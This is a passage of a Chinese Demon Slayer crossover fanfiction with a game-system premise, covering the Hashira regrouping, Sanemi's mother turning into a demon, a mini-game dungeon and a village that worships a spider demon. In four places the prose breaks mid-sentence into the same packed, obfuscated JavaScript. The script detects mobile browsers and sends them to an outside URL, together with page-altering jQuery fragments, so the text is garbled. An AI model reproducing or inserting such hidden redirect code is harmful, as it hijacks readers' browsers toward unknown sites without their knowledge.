—— 手鬼最后是怎么死得呢? 用概括的话来说,就是被不死川实弥的风呼摧残了大半血条,趁他中途喘息恢复的时候,富冈接力,迅速补上水呼,把他的血量磨到丝血,最后在他嘴里塞上满满的紫藤花,强迫他吞下去,把最后的一丝血磨到没。 真菰被他们的执着吓了一跳,但很快又接受了,手鬼伤害了那么多人,落得这个下场也是大快人心。 只是她很好奇,为什么在与手鬼战斗之前他们没有遇见。 不过现在看来答案也不重要,他们终于可以一起回家了。 —— 四人一同回到狭雾山,鳄梨老远就看见鳞泷先生他们的身影了,除此之外还有……宇髄天元? 音柱怎么会在这里? 鳄梨后知后觉地意识到,她除了不死川、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811355|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富冈两名队友,还有七名队友没有遇到。 现在看来,音柱不愧是九柱里面最善于交际的人,不仅无师自通了游戏的玩法,还靠自己找到了这里。 而相比于鳄梨的轻松,不死川实弥和富冈就震惊多了,他们不敢相信音柱居然直接来到了狭雾山,行动力还真不错。 宇髄天元一眼看出了他们的疲惫,只简单打了声招呼,没有提出困惑自己的问题——比如这个世界的来历,以及同时存在的三个水柱。 不死川实弥说要烧水洗个澡,接着便头也不回地奔向了厨房,富冈在一旁擦拭自己的刀,偶尔抬头看一会三小只互动,似乎很满足这样的现状。 鳄梨暂时没什么事干,宇髄天元就拉着她聊起了天。 谈话的内容自然也是关于这个世界的。 “我承认这个世界很华丽,但是那位女性,有没有提过有什么办法能离开这里?或者说,她想要做什么,”宇髄天元直言了自己的顾虑,“毕竟谁也不确定她到底有什么目的。” 鳄梨思考了一下,回答说:“目的……大概是打败鬼王,但回去的方法,我也不是很清楚。” “我明白了。” 宇髄天元点了点头,随后又扬起一副华丽的笑容,他拍了拍鳄梨的肩膀,“不知为何,你的代号给我一种华丽的感觉。” “不过为什么要选择‘发牌’做后缀?有什么寓意?” 鳄梨被他的话呛了一下,该说不愧是他吗,其他人都没有在意过这个名字,只有他注意到了其中的巧思。 好在华丽哥也不是必须要听解释,他只是很自然地揭过了这个话题,问鳄梨接下来的打算。 “接下来的打算……” 鳄梨重复着这句话,明白了宇髄天元的意思,接下来他们也不太可能继续留在狭雾山,是去寻找其他柱,还是去做别的事。 “嘛,毕竟现在你是队长。” 宇髄天元撩了下额前的钻石链条,等待着鳄梨的回答。 鳄梨其实也没有想好,但她认为,还是先把这支队伍凑齐比较好。 她翻看了下地图,发现现在距离狭雾山最近的,是蛇柱伊黑小芭内。 宇髄天元也凑近看了一下,觉得惊奇的同时又感慨道:“就算是最近,没有个三五天也是到不了呢。” “什么到不了?” 不死川实弥刚刚烧好水,他看到两人围在那嘀嘀咕咕,忍不住出声问了句。 宇髄天元还不知道风柱已经对水柱改观,他想起风蛇二人组和富冈的关系,忍不住笑了一下,反倒让实弥更加迷惑了。 鳄梨言简意赅地回答:“我们在地图上找到了你的好朋友。” 不死川实弥:…… 宇髄天元噗地一声笑出声来,被不死川实弥瞪了一眼后,又故作正经地坐直身体,示意他可以来看看。 然而不死川实弥看到之后却沉默了,脸色也逐渐变得难看。 “怎么了?”宇髄天元问。 “那地方……”不死川实弥深吸一口气,“是我的家。” 11.伊黑 “什么?那还挺巧的。” 宇髄天元的感叹并没有让不死川实弥的脸色转晴,而他之所以沉默,是因为他在地图上看到自己家的时候,猛然间想到了这一年的自己。 这一年他十三岁,一切都还没有发生,他的妈妈没有变成鬼,他的生活虽然贫苦,但弟弟妹妹们都还活着…… 鳄梨注意到不死川的表情变化,她愣了一下,后知后觉地想起义勇和实弥同岁,也就是说,这个时候的他很有可能还没经历过灭门惨案。 难怪不死川会是这幅复杂的表情,鳄梨表示很理解。 这时候富冈走了过来,他好心提醒道:“不死川,厨房的水烧开了。” 这句话乍一听很莫名其妙,却好似一缕清风,将不死川实弥的愁绪暂时驱散,他长吁了一口气,嗯了一声,转身走向厨房。 宇髄天元扭头看了一眼不死川离去的背影,似是意识到了什么,嘴角的弧线慢慢收紧——绝对是因为家庭的原因,是在这个时候家里出了什么变故吧,不然脸色不会如此难看。 可以理解,毕竟鬼杀队里几乎每个人都背负着对鬼的仇恨,以及失去所有的痛苦,这些过往的沉痛经历,往往才是驱使他们前进的动力。 眼见一时之间大家都陷入了沉默,气氛逐渐冷了下去,鳄梨连忙开口,打破了这种氛围:“我们明天出发。” 富冈嗯了一声,表示自己赞同。 倒是宇髄天元较为惊讶:“这么快?我才刚来没两天啊。” 但很快他又话锋一转:“不过你说的对,越早出发,就可以越早和其他柱汇合。那就这样决定了,明天一早,华丽地与这里的一切告别吧。” 告别……宇髄天元的话提醒了鳄梨,鳞泷先生他们还不知道他们几个要走了,确实要好好知会一声。 —— 知道他们要走,鳞泷先生特意做了一顿丰盛的饭菜,当做四人的饯行宴。 不止如此,他还拿出了早就刻好的狐狸面具,一一交到他们手中。 宇髄天元倒是没想到自己也有,虽然能明显看出制作者为了赶工,细节的雕刻部分略显粗糙,但仅仅几天时间就完成全部制作,已经可见原水柱的诚意了。 摩挲着面具左眼上的彩绘,他失笑一声,用手肘戳了戳身旁的不死川实弥:“不得不说,这面具很符合我们的特征,超级华丽啊。” 不死川实弥不喜欢宇髄天元这个冒昧的动作,但他说的话还算中听,因此他没和对方一般见识,只说了句:“哈,是很不错。” 富冈沉默地盯着自己的面具,轻轻抚了一下和曾经一般无二的纹路,而后小心地将它放到自己的行李中。 而鳄梨在看面板上新增的的面具介绍—— 【[消灾面具]:当手鬼死亡后,鳞泷先生制作的狐狸面具便成了真正的消灾面具,佩戴后幸运+3,防御+3,血量上限+100(注:破损度为0时增幅失效)】 看到后面附加的数值,鳄梨眼前一亮:这居然是一个战斗增幅道具,而且加的数值还很不错。 感谢鳞泷先生,鳄梨决定接下来的每场战斗都戴着它了。 吃过饭,真菰带着锖兔和义勇为四人送行。 真菰很感激他们在考核中的帮助,尽管不知道他们三个为什么会出现在山上,但是他们曾一起并肩作战,消灭了手鬼,维护了鳞泷老师和十几位师兄师姐,她已经把他们当做了自己很重要的朋友。 因此,她以师姐的名义,带着锖兔义勇一起制作了四个御守,当做临别礼送给他们。 真菰把四个御守分别按照颜色送给他们,笑着说:“希望你们会喜欢。” 【[手作御守]:佩戴后幸运值+1】 鳄梨的御守是淡蓝色的,上面用黑色丝线绣了平安两个字,旁边还额外绣了一只黑色小鱼。 ‘真可爱啊。’ 鳄梨偷偷瞄了一眼不死川实弥的,发现他的御守是翠绿色的,字符旁的图案是一小团龙卷风。 原来图案还是不一样的吗?鳄梨感到惊奇,她下意识看向真菰,真菰却好像秒懂了她的眼神,摇了摇头,回答说:“我只负责制作,图案设计是锖兔和义勇一起完成的。” 锖兔脸色红了一瞬,他轻咳一声,连忙补充了句:“是这样没错。不过御守上那些小图案,主要是义勇想到的。” 突然被cue,面对众人热切的眼神,义勇艰难地咽了一口口水,不好意思地挠了挠脸颊,随后轻轻点了点头。 宇髄天元对这个钻石图案很满意,而且从这里也能看得出来他们很用心,于是他不断地夸赞着御守很华丽,把三个人都夸得不好意思了。 似是受不了宇髓营造的奇葩氛围,不死川实弥收好御守之后,就直接扯着鳄梨的袖子拖行了一步:“行了行了,又不是见不到了,走了!” 富冈很想问不死川是不是不好意思了,但最终他还没有问出口,就被不死川实弥否决了:“不是,没有,别说话!” 水柱突然就自闭了,但同时他也确定了心中的想法:怪不得急着走,果然是不好意思了。 可以理解。 这样想通了之后,富冈低沉的情绪很快又恢复了。 不死川实弥:?总感觉这家伙的眼神很恶心…… —— 最初的时候,伊黑小芭内没有意识到这是自己好友的家。 彼时他刚被那个“女人”传送到这个奇怪的村庄,四处寻找破绽的时候,偶然帮助了一位矮小的夫人,帮她把砍好的柴火送回了自己的家,而好心的夫人为了表达感谢,一定要他在家做客。 那时夫人的丈夫还活着,但还不如死了——不能怪伊黑小芭内想法恶毒,一个只知道喝酒的酒鬼,为了酒钱不惜向妻子孩子恶言相向甚至打骂的恶人,死了又有什么可惜的? 不过自那一晚,伊黑小芭内阻止了他在客人面前打妻子之后,那个家伙就失踪了。后来有一天有人透露,是那家伙被仇家看到了,不知怎么就死了。 那晚夫人哭了很久,但其实她说不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833089|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是伤心,只是觉得家里唯一的男人死了,生活会更难过一些。 伊黑小芭内想要帮助他们,但他还没弄清楚这里的规则,也没有资金可以给他们,只能帮着夫人做些体力劳动,尽量减轻她的负担。 夫人很感激他,但伊黑小芭内做这么多不只是因为夫人,还因为那个同样叫“实弥”的孩子。 是巧合吗? 伊黑小芭内曾有一瞬间这样认为,但不死川这个姓氏也不多见,实弥这孩子还长着好友那张脸,他实在难以忽视。 “蛇之呼吸,一之型,委蛇曲斩——” 如巨蟒一般的曲形剑技裹挟着刃风,转瞬之间将木头劈砍成段,掉落时又巧妙整齐地摞在一起。 一击过后,伊黑小芭内摸了摸镝丸的头,安慰它说:“无需在意,剑技的存在就是为了人使用的。” 镝丸嘶了一声,似是同意了主人的说法,可心里还是有点不甘心——主人的刀应该是砍鬼的,怎么可以用来砍木头! “出来吧。” 伊黑小芭内背对着几个围观他劈柴的小孩收回刀刃,而当他说出这句话后,孩子们才意识到他们的隐藏根本没用。 他们你看看我,我看看你,最后是玄弥先走出来,弟弟妹妹们才像找到了领队人一样走出来。 玄弥第一时间想跟伊黑先生道歉,但伊黑小芭内制止了他,想了想,他又尽量柔和了语气,安慰说:“没关系。” 几个孩子们瞬间松了口气,又开始像麻雀一样围着伊黑,叽叽喳喳地夸他好厉害。 “这刀的造型好酷!” 不死川就也直勾勾地盯着伊黑的刀,几乎无法移开视线,他小心翼翼地凑近伊黑,快速摸了一下刀身,被其冰凉的触感吓了一跳,随后又忍不住拉长声音:“哇哦——” 伊黑小芭内被他的行为逗笑了,不过因为担心他受伤,他还是出声提醒他不要触碰。 “好的!伊黑先生,没问题,伊黑先生。” 不死川就也连忙立正身体,又因紧张说话声音奇大,引得兄弟姐妹们哈哈大笑。 伊黑小芭内嗯了一声,没再说话。 这时候,不死川就也的姐姐,不死川时美鼓足勇气,询问伊黑:“我可以摸摸镝丸吗,伊黑先生?” 伊黑小芭内沉默了下,没有立刻回答,不死川时美连忙说:“这个要求是不是太过分了,对不起,我还是不摸了……” “我需要问一下镝丸。” 伊黑小芭内话音刚落,镝丸就嘶了一声,在时美和孩子们期待的眼神中,伊黑点了点头:“可以。” 镝丸就这样从伊黑的脖子上爬下来,盘坐在他的肩膀上,不死川时美抬手,小心地摸了摸它的头。 “他的鳞片好漂亮啊!” 镝丸对时美的夸奖很受用,他主动缠上了她的手臂,在孩子们惊喜的眼神中向主人邀功。 伊黑小芭内正要让镝丸回来,身后忽然响起了不死川实弥的声音: “你们看到妈妈了吗?” 12.撑着悲伤不回头 “没有诶/没有啊。” 面对大哥的疑问,弟弟妹妹们异口同声地回答了声,见哥哥没再说话,他们便没当回事,很快又把注意力放在了镝丸身上。 不死川实弥也希望自己是想多了,可妈妈干完活之后,从不会在路上耽搁时间,平日里大多会在这个点之前回来,可现在太阳都快下山了,她还是没有回来,不免让他心中隐隐产生了不好的预感。 玄弥挠了挠脸颊,不太理解哥哥在担忧什么: “哥哥,你怎么了,妈妈不是去工作了吗?” “是啊是啊,二哥说的对,妈妈肯定已经在路上了!” 不死川就也脸上洋溢的天真笑容,多少驱散了一些实弥的担忧,他叹了口气,暗自决定如果直到夜幕降临妈妈还不回来,他就提着灯去找她。 伊黑小芭内垂眸思索片刻,忽然唤回了沉醉在孩子们赞美之中的镝丸,几个孩子眼巴巴地望着镝丸离开他们的包围圈,回到主人肩膀上,多少有些失望。 不死川实弥正准备开口教育他们一番,伊黑先生毕竟是客人,不能太麻烦人家。下一刻却听到伊黑主动开口道: “我去找你们的妈妈,你们留在家里等我回来。” 不死川实弥愣了一下,下意识想要吐出拒绝的话,可话到嘴边说成了: “我也去!” 顿了顿,他又说:“请让我跟着吧,伊黑先生。” 伊黑小芭内瞥了一眼不死川实弥,犹豫了下,还是同意了,但对于剩下跟风要去的孩子们,他就没有那么好说话了。 “你们留在家里,等我们回来。” 撂下这句命令般的话,伊黑小芭内就带着不死川实弥离开了家。 —— 在伊黑和实弥一同寻找志津夫人的时候,鳄梨他们刚刚到达村子附近的树林,林中有一条小径,能直通村子的某个地方。 这时夜幕已经降临许久,空中的弯月被阴暗的云雾遮住,使得林中的能见度很低。 他们没有直接回老家,而是首先来到了这片漆黑的树林,像是守株待兔一样,守在一个特定的位置。 鳄梨和富冈都没有去问原因,一个知道故结果,进而反推出了故事的经过,一个隐隐有种不好的预感,特别是在来到这片压抑的环境后,就更加沉默了。 宇髄天元倒是想说些什么缓和下气氛,但到最后也只是叹了口气。 四人维持着不同的姿势,各怀心事地守在那里,似是在等待一个必然的结果。 就在这时,不死川实弥动了,他以一个快到难以看清的速度站起身,握着刀就冲了出去。 鳄梨他们紧随其后,默契地追了过去。 ——不死川实弥刚刚似乎看到了一个黑影,当他反应过来时,才发现自己已经条件反射般追了上去。 好在队友们也很默契,什么都没问就跟他一起追了上去。 他很难描述自己现在的心情,一想到带他们来的“女人”看似给了他机会,其实仍是以俯视的态度看他们好戏——当他意识到自己赶到这里的时候已经晚了,他还是没办法救下妈妈,心里的火焰就快要把他淹没。 可看到黑影的那一瞬间,他心里涌现的汹涌情绪,其实还是悲伤更多。 而且他居然还要再度面对成为鬼的妈妈,手上再次沾染上妈妈的血。 但是……至少那人给了他这个机会,他还可以保护他的弟弟妹妹,以及……让这个世界的自己避免亲手杀掉妈妈…… 这一切的罪恶由他承受,他的家人也理应由他来守护。 想到这里,不死川实弥一咬牙,在林间穿梭的速度更快了。 富冈和宇髓的等级暂时不足,最开始时难以跟上不死川的速度,最后他们硬是凭柱的意志撑下来了,终于来到了林中小径的尽头。 这里有一条顺着山坡流下来的小河,河水清澈见底,河底还生活着数条小鱼小虾,因而也是不死川志津常来的地方。 她时常会来这里洗衣服,淘米洗菜,可本应和谐的河岸,现在却铺满了刺眼的血迹。 这里没有那么多树木遮挡,借着昏暗的月光,他们看到了被伊黑小芭内死死锁住双手的志津夫人,和一旁站着的少年实弥。 此时志津夫人已经毫无理智可言了,她不断地对自己的孩子发出野兽般的咆哮,平日里总是盘得很好的头发,如今已经乱成了鸡窝,若不是她现在被伊黑小芭内禁锢着,否则早就冲上去杀了他了。 伊黑小芭内无暇顾及突然到来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836957|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四人,他只是平静地对少年实弥宣告一个事实: “你的妈妈已经没救了,她已经变成鬼了。” 不死川实弥沉默地垂着头,双手死死攥成拳,脸上因为信任恶鬼被划出了一道狭长的伤口,流出的血液逐渐染红了整张脸。 他随手抹了一把脸上混着泪的血,毫不在意自己现在看起来有多狼狈。 他感受到了,刚才被妈妈攻击的时候,那一瞬间她忽然变得非常兴奋,他看到了她眼中那浓烈的欲望,是一种极为可怕的,绝对不属于妈妈的眼神。 伊黑小芭内不打算再等下去了,他举起了刀,可随着玄弥的一声大喊,他不管不顾地冲了上去,在试图拥抱妈妈的时候,又被不死川一把扯住了衣服。 “别杀我妈妈!你这个坏人,坏人呜呜呜呜……” 玄弥一边挣扎一边哭,直到哥哥喝止了他: “玄弥!别这么说!” 实弥虽然心情同样复杂,但他还是出声维护了伊黑小芭内,经历过刚才的情景,他知道伊黑先生绝不是坏人,而且刚刚从妈妈……鬼的手里保护了他,不能这样说。 不死川完全没料到事情居然会发展成这个样子,他的事情居然害得好友背负了骂名……可眼下玄弥的情绪太过激动,为了防止他在误会的情况下,继续说出伤人的话,他一掌打晕了玄弥,强迫他睡了过去。 伊黑小芭内其实不怎么难受,曾经做任务时也不是没有遇到过难缠的人,当他们的家人因为变成鬼或者吃人被杀,反而硬说他们鬼杀队行得是恶劣之事,这样的事见得多了就难以产生什么波澜了。 只是没想到,他猜想的故事原来不是事情真相。 …… 好不容易把弟弟妹妹们哄睡,实弥坐在床铺边上,却怎么也睡不着,他凝望着空中的月亮,回想起今天发生的事情,总觉得比天上的月亮还虚幻。 这件事是真的吗?真的不是他在做噩梦吗? “妈妈……” 玄弥睡得很不安稳,睡梦中仍在叫妈妈的名字,实弥快速摸了一把眼泪,为弟弟妹妹盖好被子,转身走向客厅。 那个房间,坐着四个沉默相对的大人们。 而他,必须要从他们口中知道鬼是什么东西。 13.新的挑战 客厅。 先前沉默的氛围已不复存在,伊黑小芭内正在对不死川进行质问——方才互通情报时,不死川竟然出声维护了水柱,这在伊黑小芭内眼里简直是不可能的事情。 他瞪大双眼,一脸的难以置信,仿佛不死川背叛了他们的友谊。 “你是在维护他么,不死川?” 不死川无奈地抿了抿唇,不愿承认,也不想否认,因为无论哪种回答都像是在打自己的脸,最后他干脆不说话了。 终于有插曲缓和气氛,宇髄天元心情颇好,他有意转移话题,说出的话却有故意火上浇油之嫌: “说起来,如果不是我旁边的这位水柱,他们的关系也不会突飞猛进。” 鳄梨试图打圆场,但还没等开口,就被伊黑的嘲讽堵住了话头:“是啊,如果不是你,我们也不会来到这个地方,还是要多感谢你啊。” 这话某种程度上戳中了事情的本质,鳄梨想解释也无从开口,只能就此沉默。倒是宇髄天元说了句:“喂喂,这样说可不华丽,再说我也不是这么个意思。” 伊黑小芭内冷哼一声,没说话。 眼看气氛又要僵硬下去,就在这时,实弥从卧室里走了出来。 他深吸一口气,说道:“你们一定知道鬼的来源,告诉我,到底要怎么才能消灭他,我要为妈妈报仇!” 少年的眼中仿佛燃起了熊熊怒火,不死川看到他眼神的那一刻,忽然想起了曾经的自己,当年遇到匡近之前他也是这样,几乎要把对鬼的愤恨刻进骨子里。 匡近…… 想到这里,不死川不由得握紧了拳头。 之后,由宇髄天元充当解说,为小实弥讲解了鬼的来源,鬼杀队的存在,以及一些关于呼吸法的知识。 实弥听得很认真,时不时提出问题,而当宇髄天元开始讲鬼之始祖时,实弥突然说:“所以,我的仇人是他!” “可以这么说,毕竟他是世间第一只鬼,一切罪恶的源头。” 不知想起了什么,宇髓又补充了一句:“不过你现在想这个问题还太早,你可以先把成为鬼杀队队员作为目标。” 得到了自己想要的答案,实弥感到心里的愤怒平息了一些,他很感激,并郑重地点了下了头: “谢谢你们。” 顿了一下,实弥垂下眼眸,又说:“等我给妈妈立好墓碑,就去学习呼吸法。” 对于另一个自己的想法,不死川没有阻拦,只是说:“看好你的家人,别让他们任何一个跟着。” 实弥愣了一下,随后郑重地点了点头。 其实就算没有他的嘱咐,实弥也不会同意让他的家人跟他一样加入鬼杀队。 * 玄弥醒来时天才刚亮,弟弟妹妹还在熟睡,他揉了揉酸疼的后颈,依稀回忆起了昨晚的场景。 昨晚他因为担心哥哥和妈妈,就拜托时美照顾更小的弟弟妹妹,独自跑出去找她们。 他循着直觉,第一时间来到了家后面的小河,很幸运地在那里找到了妈妈和哥哥,还有……伊黑先生,以及像是长大了的哥哥的陌生人。 再然后,就是伊黑先生要杀了妈妈,他拼了命地想阻止,最后却眼前一黑昏了过去,再醒来就回到了家。 直到现在,不死川玄弥还以为自己在做梦,妈妈怎么可能会露出那种眼神呢…… “吱呀——” 卧室隔间的门被缓缓打开,玄弥循声望去,看到哥哥走了进来。 他第一时间看到了哥哥脸上的伤,连忙站起来,走到哥哥身边,关切地问:“哥哥,脸上的伤,还疼吗?” 实弥倒是没想到他会先问这个,之前准备的解释的话卡了下壳,顿了一下才回答:“上了药,已经没事了。” 玄弥不太相信,不过他也没拆穿哥哥,又接着问:“哥哥,妈妈她……是离开我们了吗?” “这个问题……”实弥长叹一声,“去客厅吧,我解释给你听。在这里会吵到他们的。” 于是兄弟俩走到了客厅,而当玄弥再次看到伊黑时,他有些愧疚昨晚说得那些话,尤其是当哥哥跟他解释了原因之后,他更想和伊黑先生道歉了。 当他鼓起勇气向对方表示歉意时,伊黑小芭内摇了摇头,告诉他无须放在心上。 “这是鬼杀队的职责。” —— 帮助少年实弥处理好母亲的后事之后,鳄梨他们在这里待了几天才离开。 期间他们曾因为住宿问题闹过笑话,还作为老师,教了实弥许多战斗技巧,和每个人的呼吸法心得,最后不死川还告诉了他去哪里学习风之呼吸。 其实实弥每一次面对那个满身疤痕,和他长相相似的男人时,都有一种在看未来的自己的感觉,但他从始至终都没有说出来,只是在送别他们的时候,提出要和不死川碰拳。 当两个人站在对立面,一大一小两个拳头互相碰撞时,发出了一声清脆的响,实弥忽然露出了一个心满意足的笑容。 “我很快也会成为鬼杀队的柱。” 不死川忍不住哼笑一声,他摆了摆手,走到队友身边,留下一句似是在泼冷水的话:“还早着呢。” …… “所以,接下来是寻找炼狱?他现在在哪里?” 离开这个村子后,宇髄天元问出了这个问题,当然,这个问题也是富冈和不死川最想问的问题。 伊黑则很不能理解:“你们真的把他当做队长?” 宇髄天元耸了耸肩:“不然呢?他才是我们看清这个世界的关键线索,所以那个女人才会认命他为队长吧。” 这倒是一个合理的解释,伊黑陷入了沉思。 对于宇髄天元的看法,鳄梨只想说:我不是,我没有,我只是一个平平无奇的玩家,请不要cue我,谢谢。 不过有一点需要说明一下,她研究系统面板不是为了继续寻找队友,而是为了研究刚刚开启的副本功能。 “什么是副本?”富冈第一个发出了疑问。 “啊,这个不好解释……” “那就长话短说。” “……” 鳄梨克制住了表情崩坏,思考了一下,以几个字结束了这个名词的意义—— “就是‘让人变强的简单途径’。” 宇髄天元无奈扶额:“这解释也太不华丽了。” 对于这个评价,鳄梨非常不满,但究极好队友富冈鬼使神差般的回答,替鳄梨扳回了一局:“但说得确实很短。” “……” 听取沉默一片。 鳄梨艰难地忽略这个小插曲,继续充当解说工具人:“其实简单来说就是锻炼场地,可以让人短时间变强。” “刚才我思考了一番,现在最重要的,是先找到提升等级的最快方法,把后来柱的等级短时间内提升到合格的级别。” “所以要到底怎么做?”不死川问。 鳄梨首先把队长专属的管理面板展示给他们看,指着上面亮起的按钮说:“就是这个,但我也不知道点了会发生什么。” 虽然说是这样说,但鳄梨还是抵不住诱惑,直接在展示的时候按了下去。 随着一阵刺眼的白光闪过,只眼睛一睁一闭的空当,他们来到了一片白茫茫的空间。 鳄梨一眼认出这是娱乐模式的联机界面,而一直被几位柱称为“那个女人”的系统ai,此刻再度出现: 【欢迎各位玩家来到娱乐副本,【狂欢打地鼠】,游戏即将开始,请各位做好准备——】 几位柱来不及吐槽,就被系统强制性拉到了一个满是地洞的场地,等反应过来时,他们手里各被塞了一把木刀。 【每打倒一个木桩,就可以获得100积分的奖励,积分可以去兑换商店换取抽奖券,以及各种礼包奖励,请各位玩家尽可能地打倒更多的木桩吧!】 说完这句话,ai便不再出声,而那些坑洞里也开始随机出现木桩,并在露头一秒后迅速缩回地底,就像以前的打地鼠小游戏一样,带着一种侮辱智商的美。 而在先前的世界,这种娱乐模式还会有个总分排行榜,不少氪金大佬都会在上面留下自己的名字。 见没人动手,鳄梨掂了掂手中的木刀,首先去打一根离自己最近的木桩,但预料之内的打断场景没有出现,木桩就像有感应一样,迅速缩回了地底,鳄梨一下打了个空。 鳄梨:…… 现在就是非常尴尬,家人们。 好在她的队友们并没有在意,而是一瞬间明悟了游戏的玩法,纷纷开始挥出自己的第一刀,但……同样的挥了个空。 不死川实弥气得咬牙切齿,但不是因为空了攻击,而是那股熟悉的,恶心的压制感又来了。 他们再次感受到了来自这个世界的深深恶意,幸好到最后经过几个人的努力,成功获得了600积分,在商店里兑换了一个最便宜的经验小礼包。 从副本里出来,几个人都不约而同地露出了复杂的表情。 宇髄天元更是吐槽:“我从中感受到了满满的恶意……” 鳄梨则小小地心虚了一下,她也没想到首先开启的副本是娱乐模式,但好歹结果还可以,他们获得的经验包可以让伊黑升到8级。 鳄梨边思考边说:“只要再打几轮地鼠……” 几位柱脸色一变,不死川实弥反应更大:“不行!” 在众人各不相同的眼神围攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844685|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,不死川深吸一口气,解释道:“……这样升级太慢了,还是应该靠锻炼或者任务吧?” 此话一出,立刻得到了另外三位柱的赞同。 鳄梨一想也是,而且刚才她也发现了,副本分为三个模式,唯一能用的娱乐副本是随机抽取的,而且是积分兑换制,并不适合练级,还不如继续寻找队友,开启下一个主线任务。 于是副本功能被他们暂时忽略,鳄梨教了伊黑如何调整自己的数值,他们便再次启程了。 —— 【已触发支线任务,[村庄供奉的神秘铜像],参与者:炼狱杏寿郎,蝴蝶忍。】 【检测到玩家等级过低,是否在此存档?】 刚踏入这个可疑的村子,炼狱杏寿郎和蝴蝶忍就因这段提示停下了脚步,两人对视一眼,都从对方眼里看到了相同的色彩。 最后由蝴蝶忍说:“麻烦这位小姐帮我们存一下档吧。” 【已为玩家存档。】 炼狱杏寿郎叹了口气,后又严肃地对蝴蝶忍说:“看来这个村子里会有一只难缠的鬼。务必要小心啊,蝴蝶。” 蝴蝶忍点了点头,她盯着任务的名字仔细看了一会,说:“只是,标题上写着的‘供奉’两字,给我一种不好的预感。” “唔姆,没错!我也有这种感觉。不过既然来到这里了,那就只能去探索一番了。” 两人你一言我一语地讨论着,顺着石子路,走到了村口的大柳树下。 这棵柳树生得异常粗壮,树干足有半米宽,垂落下的柳条也长的惊人。 两人正观察着这棵树,这时,一个高大瘦削的男人发现了他们,随后便以一个极快的速度跑了过来。 蝴蝶忍看到他灰暗的眼睛里闪过一丝精光,明明脸上是笑着的,可他身上的气息却有一种腐朽的味道。 “你们是外面来的人吧?” 男人说这话时带着难掩的激动,但两位柱却能明显感觉到他那份诡异的兴奋——太不对劲了,也太明显了。 “我们只是路过的旅人而已,您是……?” 面对蝴蝶忍的试探性询问,男人毫不在意,反而更加兴奋了,但能看出来他在努力克制这种情绪。他自我介绍说他是这里的村长,叫田口信。 山口信说要领着他们参观村庄,此时炼狱和蝴蝶对这位自说自话的村长已经起疑心了,但为了隐藏在其中的恶鬼,他们只能耐下性子顺着他的思路来。 “因为山路不好走,平时这里没什么外人来的……” 山口信一路絮絮叨叨地说着,似乎对他们的到来很是欢迎。 他们跟着他来到一座红砖房外,山口信邀请他们去里面坐坐。 “我们村对外来人员很热情的——哦哦哦差点忘了,我还需要通知一下其他人,到时候好好地欢迎一下,你们能来真是太好了……” 炼狱杏寿郎终于忍不住打断了他:“抱歉!请等一下,我们只是路过而已,不需要如此大费周章。” 蝴蝶忍见状也说:“是的,我们只是想来村子里歇一下脚,能否让我们自行参观呢?” 山口信闻言,脸色僵硬了一瞬,又很快恢复如常,他点了点头,留下一句“好的好的”便匆匆离去了。 而当他离开后,蝴蝶忍忍不住吐槽了一句:“他的不对劲似乎装都不装了。” 炼狱杏寿郎也有同感,他点了点头,顺着蝴蝶忍的思路说:“是的,就像是故意如此的一样,不过不管怎么样,我们还是需要先探索一下村子。” “说得没错,炼狱先生。” * “大、大人……我已经按照您的吩咐,把他们带去了那个房间,所以,求您放过我的儿子吧!” 山口信不断地朝祭坛上的蜘蛛女叩着响头,可直到他的额头磕出血来,蜘蛛女才纡尊降贵般说了句:“停下吧。” 她从祭坛上爬下来,迈着八条带着倒刺的腿来到他身边,细长的舌头在空中飘舞着,看起来像极了传说故事里的精怪,山口信见了这么多次,仍旧被吓坏了,身体一软,差点直接倒在地上。 “大人……” 山口信嗫嚅着,努力控制着表情,生怕自己的嫌恶会激怒对方,使得她一口把自己吞了。 “不可以哦……你以为你耍得那些小聪明我不知道么?所以作为惩罚,你的孩子,我不能还给你。” 女鬼说完桀桀桀地笑了一番,她那沙哑刺耳的嗓音,在阴森的房子里显得越发可怖。 